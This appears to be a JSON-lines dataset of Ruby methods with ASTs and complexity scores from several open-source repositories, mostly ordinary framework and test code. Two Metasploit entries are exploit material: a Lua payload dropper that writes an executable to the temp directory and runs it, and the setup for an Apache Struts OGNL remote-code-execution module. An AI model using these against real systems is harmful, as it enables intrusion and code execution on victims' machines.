{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/wireshark_lua.rb","start_line":292,"raw_source":"def get_lua_payload\n    # Generate our executable payload, and then convert every byte\n    # in decimal format\n    p = generate_payload_exe\n    buf = ''\n    p.each_byte do |b|\n      buf << \"\\\\#{b.to_s}\"\n    end\n\n    # Create the lua script that contains our payload\n    var_payload_name = rand_text_alpha(5)\n    var_temp_name = rand_text_alpha(5)\n    lua_script = <<-LUA\n    #{var_payload_name} = \"#{buf}\"\n\n    #{var_temp_name} = os.getenv(\"TEMP\") .. os.tmpname() .. \".exe\"\n    local f = io.open(#{var_temp_name}, \"wb\")\n    f:write(#{var_payload_name})\n    f:close()\n    os.execute(#{var_temp_name})\n    LUA\n\n    lua_script = lua_script.gsub(/^ {4}/, '')\n    return lua_script\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_lua_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"each_byte\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"to_s\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_payload_name\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_temp_name\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lua_script\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload_name\"]}]},{\"type\":\"str\",\"children\":[\" = \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_temp_name\"]}]},{\"type\":\"str\",\"children\":[\" = os.getenv(\\\"TEMP\\\") .. os.tmpname() .. \\\".exe\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"    local f = io.open(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_temp_name\"]}]},{\"type\":\"str\",\"children\":[\", \\\"wb\\\")\\n\"]},{\"type\":\"str\",\"children\":[\"    f:write(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload_name\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"    f:close()\\n\"]},{\"type\":\"str\",\"children\":[\"    os.execute(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_temp_name\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lua_script\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lua_script\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^ {4}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lua_script\"]}]}]}]}","id":"87390d52-bb8d-4e50-9503-70d5060589c1"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/spec/enterprise/controllers/api/v1/accounts/captain/documents_controller_spec.rb","start_line":16,"raw_source":"def json_response\n    JSON.parse(response.body, symbolize_names: true)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"json_response\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_names\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"adeb7742-29d8-4cd1-9317-93defccff991"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/modules/metadata/cache.rb","start_line":31,"raw_source":"def get_metadata\n    @mutex.synchronize {\n      wait_for_load\n      @module_metadata_cache.values\n    }\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_for_load\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@module_metadata_cache\"]},\"values\"]}]}]}]}","id":"f1693c31-8de1-424c-9b5b-33b77761902c"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/listeners/action_cable_listener.rb","start_line":143,"raw_source":"def contact_updated(event)\n    contact, account = extract_contact_and_account(event)\n    broadcast(account, [account_token(account)], CONTACT_UPDATED, contact.push_event_data)\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"contact_updated\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contact\"]},{\"type\":\"lvasgn\",\"children\":[\"account\"]}]},{\"type\":\"send\",\"children\":[null,\"extract_contact_and_account\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]},{\"type\":\"send\",\"children\":[null,\"broadcast\",{\"type\":\"lvar\",\"children\":[\"account\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_token\",{\"type\":\"lvar\",\"children\":[\"account\"]}]}]},{\"type\":\"const\",\"children\":[null,\"CONTACT_UPDATED\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact\"]},\"push_event_data\"]}]}]}]}","id":"73a82833-e65e-4be8-8865-484a8a7fbd66"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/struts2_content_type_ognl.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',\n        'Description' => %q{\n          This module exploits a remote code execution vulnerability in Apache Struts\n          version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed\n          via http Content-Type header.\n\n          Native payloads will be converted to executables and dropped in the\n          server's temp dir. If this fails, try a cmd/* payload, which won't\n          have to write to the disk.\n        },\n        'Author' => [\n          'Nike.Zheng', # PoC\n          'Nixawk',     # Metasploit module\n          'Chorder',    # Metasploit module\n          'egypt',      # combining the above\n          'Jeffrey Martin', # Java fu\n        ],\n        'References' => [\n          ['CVE', '2017-5638'],\n          ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']\n        ],\n        'Privileged' => true,\n        'Targets' => [\n          [\n            'Universal', {\n              'Platform' => %w{unix windows linux},\n              'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\n            },\n          ],\n        ],\n        'DisclosureDate' => '2017-03-07',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(8080),\n        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),\n      ]\n    )\n    register_advanced_options(\n      [\n        OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])\n      ]\n    )\n\n    @data_header = \"X-#{rand_text_alpha(4)}\"\n  end","complexity_score":11.25,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Apache Struts Jakarta Multipart Parser OGNL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a remote code execution vulnerability in Apache Struts\\n\"]},{\"type\":\"str\",\"children\":[\"          version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed\\n\"]},{\"type\":\"str\",\"children\":[\"          via http Content-Type header.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Native payloads will be converted to executables and dropped in the\\n\"]},{\"type\":\"str\",\"children\":[\"          server's temp dir. If this fails, try a cmd/* payload, which won't\\n\"]},{\"type\":\"str\",\"children\":[\"          have to write to the disk.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Nike.Zheng\"]},{\"type\":\"str\",\"children\":[\"Nixawk\"]},{\"type\":\"str\",\"children\":[\"Chorder\"]},{\"type\":\"str\",\"children\":[\"egypt\"]},{\"type\":\"str\",\"children\":[\"Jeffrey Martin\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-5638\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://cwiki.apache.org/confluence/display/WW/S2-045\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Universal\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"windows\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-03-07\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8080]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to a struts application action\"]},{\"type\":\"str\",\"children\":[\"/struts2-showcase/\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HTTPMethod\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The HTTP method to send in the request. Cannot contain spaces\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@data_header\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"X-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}]}","id":"c7ac6ecc-a1e6-427a-ba90-13d5fcaa0139"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/tag.rb","start_line":162,"raw_source":"def validate_name_change\n    errors.add(:name, I18n.t('tags.does_not_match_previous_name')) unless name_was.casecmp(name).zero?\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_name_change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name_was\"]},\"casecmp\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},\"zero?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"tags.does_not_match_previous_name\"]}]}]}]}]}","id":"746094d3-bd69-4c3c-8c5f-b1997a79cdd9"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/test/markdown_test.rb","start_line":12,"raw_source":"def setup\n    Tilt.prefer engine, 'markdown', 'mkd', 'md'\n    super\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tilt\"]},\"prefer\",{\"type\":\"send\",\"children\":[null,\"engine\"]},{\"type\":\"str\",\"children\":[\"markdown\"]},{\"type\":\"str\",\"children\":[\"mkd\"]},{\"type\":\"str\",\"children\":[\"md\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"dc60b782-7755-49a6-affa-ef3c2f434c88"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/cache_helper.rb","start_line":239,"raw_source":"def cache_unless(condition, name = {}, options = {}, &block)\n        cache_if !condition, name, options, &block\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_unless\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"condition\"]},{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"cache_if\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"!\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"d2cf45fa-5194-4396-b559-35d606324056"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/jobs/captain/documents/response_builder_job.rb","start_line":4,"raw_source":"def perform(document, options = {})\n    reset_previous_responses(document)\n\n    faqs = generate_faqs(document, options)\n    create_responses_from_faqs(faqs, document)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"document\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reset_previous_responses\",{\"type\":\"lvar\",\"children\":[\"document\"]}]},{\"type\":\"lvasgn\",\"children\":[\"faqs\",{\"type\":\"send\",\"children\":[null,\"generate_faqs\",{\"type\":\"lvar\",\"children\":[\"document\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_responses_from_faqs\",{\"type\":\"lvar\",\"children\":[\"faqs\"]},{\"type\":\"lvar\",\"children\":[\"document\"]}]}]}]}","id":"9f6e06d8-50cb-4782-80f2-4caea3e86454"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/auxiliary_action.rb","start_line":38,"raw_source":"def [](key)\n    opts[key]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"[]\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"opts\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}","id":"4b01df4d-1f92-4f3b-89fb-ac434a9b83ed"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb","start_line":616,"raw_source":"def test_replace_with_less\n    david = developers(:david)\n    david.projects = [projects(:action_controller)]\n    assert david.save\n    assert_equal 1, david.projects.length\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_replace_with_less\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"david\",{\"type\":\"send\",\"children\":[null,\"developers\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"projects=\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"projects\",{\"type\":\"sym\",\"children\":[\"action_controller\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"save\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"projects\"]},\"length\"]}]}]}]}","id":"0ebcd924-3f64-40aa-b408-15a3c39766e2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/validator/test_test.rb","start_line":16,"raw_source":"def test_returns_false_if_missing_dates\n    t = {:regions => ['us'], :name => 'test'}\n    assert_equal false, @subject.valid?(t)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returns_false_if_missing_dates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"us\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"test\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"valid?\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]}]}","id":"79382ca4-537f-4c9c-bcd6-c6f52b61b9cb"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/application_controller.rb","start_line":583,"raw_source":"def rate_limit_second_factor!(user)\n    return if params[:second_factor_token].blank?\n    RateLimiter.new(nil, \"second-factor-min-#{request.remote_ip}\", 6, 1.minute).performed!\n    RateLimiter.new(nil, \"second-factor-min-#{user.username}\", 6, 1.minute).performed! if user\n  end","complexity_score":19.15,"ast_json":"{\"type\":\"def\",\"children\":[\"rate_limit_second_factor!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"second_factor_token\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"second-factor-min-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"remote_ip\"]}]}]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"minute\"]}]},\"performed!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"second-factor-min-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]}]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"minute\"]}]},\"performed!\"]},null]}]}]}","id":"3427fd50-38d6-4ab9-b34e-8be943bcac6d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/fast_file.rb","start_line":268,"raw_source":"def find_tag(folder: nil, version: nil, remote: false)\n      req = Gem::Requirement.new(version)\n      all_tags = get_tags(folder: folder, remote: remote)\n\n      return all_tags.select { |t| req =~ FastlaneCore::TagVersion.new(t) }.last\n    end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"folder\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"version\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"remote\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Requirement\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"all_tags\",{\"type\":\"send\",\"children\":[null,\"get_tags\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"folder\"]},{\"type\":\"lvar\",\"children\":[\"folder\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remote\"]},{\"type\":\"lvar\",\"children\":[\"remote\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_tags\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"=~\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"TagVersion\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]},\"last\"]}]}]}]}","id":"a811f8bf-9a92-473f-9bf1-9d5adf77f843"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/uris.rb","start_line":31,"raw_source":"def adaudit_plus_jump_to_js_uri\n    normalize_uri(target_uri.path, 'adsf', 'js', 'common', 'JumpTo.js')\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"adaudit_plus_jump_to_js_uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"adsf\"]},{\"type\":\"str\",\"children\":[\"js\"]},{\"type\":\"str\",\"children\":[\"common\"]},{\"type\":\"str\",\"children\":[\"JumpTo.js\"]}]}]}","id":"83bb211f-c4a9-4c67-b165-2fe29eb06f72"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":4201,"raw_source":"def setup\n    s = self\n    routes = ActionDispatch::Routing::RouteSet.new\n    @app = RoutedRackApp.new routes\n\n    routes.draw do\n      (RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC4791 + RFC5789).each do |method|\n        match \"/\" => s.simple_app(method), :via => method.underscore.to_sym\n      end\n    end\n  end","complexity_score":28.1,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"routes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Routing\"]},\"RouteSet\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@app\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RoutedRackApp\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"routes\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RFC2616\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"RFC2518\"]}]},\"+\",{\"type\":\"const\",\"children\":[null,\"RFC3253\"]}]},\"+\",{\"type\":\"const\",\"children\":[null,\"RFC3648\"]}]},\"+\",{\"type\":\"const\",\"children\":[null,\"RFC3744\"]}]},\"+\",{\"type\":\"const\",\"children\":[null,\"RFC5323\"]}]},\"+\",{\"type\":\"const\",\"children\":[null,\"RFC4791\"]}]},\"+\",{\"type\":\"const\",\"children\":[null,\"RFC5789\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[null,\"match\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"simple_app\",{\"type\":\"lvar\",\"children\":[\"method\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"via\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\